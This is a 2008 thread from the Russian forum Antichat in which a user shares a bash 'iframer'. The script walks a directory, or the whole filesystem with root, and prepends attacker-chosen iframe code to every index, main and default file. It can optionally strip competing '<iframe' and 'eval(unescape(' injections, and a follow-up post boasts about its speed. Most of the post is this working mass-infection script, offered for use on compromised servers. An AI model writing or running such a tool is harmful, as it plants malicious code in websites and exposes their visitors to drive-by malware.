Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)
-   -   mystery iframer[local bash] (https://forum.antichat.xyz/showthread.php?t=63258)

Ky3bMu4 02.03.2008 16:44

mystery iframer[local bash]
 
Написал небольшой локальный iframer на bash`е. Кроме самого баша ничего не требует. Вставляет код в начало файла(index/main/default).
Позволяет выбрать весь диск для ифрейма(нужен root) или же отдельную папку, есть функция убийсива чужых фреймов(через обрезание '<iframe' и 'eval(unescape(' ),но она использует sed(но он вроде везде есть :D ).

Код:

#!/bin/bash

use(){
        echo "Using: $0 [file with iframe-code] [killing othen iframes(1/0)]"
        echo "            $0 [file with iframe-code] [directory to iframe] [killing othen iframes(1/0)]"
        exit 1
}

#Функции для ифрейма(kill/nokill). Разделены на 2 функции в целях увеличения скорости
#$1 - файл для инфрейма
iframe_nokill(){
        file=`cat $1`
        echo "$code" > $1
        echo -n $file >> $1
}

iframe_kill(){
        file=`cat $1`
        file=`echo ${file[@]} | sed "s/<iframe//g" | sed "s/eval(unescape(//g"`
        echo "$code" > $1
        echo -n $file >> $1
}

path='/'
if [ $# = 2 ]; then
        kill=$2
        if [ $UID != 0 ]; then
                echo "I need root to iframe /"
                exit 1
        fi
elif [ $# = 3 ]; then
        path=$2
        kill=$3
else
        echo "Invalid argc!"
        use
fi

#ищем индексовые файлы
find $path -name "index*" 2> /dev/null > /tmp/.files
find $path -name "main*" 2> /dev/null >> /tmp/.files
find $path -name "default*" 2> /dev/null >> /tmp/.files

code=`cat $1`
files=`cat /tmp/.files`

#Циклы тоже разделены в целях увеличения скорости
if [ "$kill" = 0  ]; then #без убийства
        for i in ${files[@]/\r\n//}
        do
                iframe_nokill $i
        done
else #с убийством
        for i in ${files[@]/\r\n//}
        do
                iframe_kill $i
        done
fi

rm /tmp/.files

exit 0


Ky3bMu4 03.03.2008 13:57

Опять никто не отписывается :) . Немного потестил на предмет производительности - инфреймит 23 60кбайтных меньше чем за 1сек.


Время: 16:58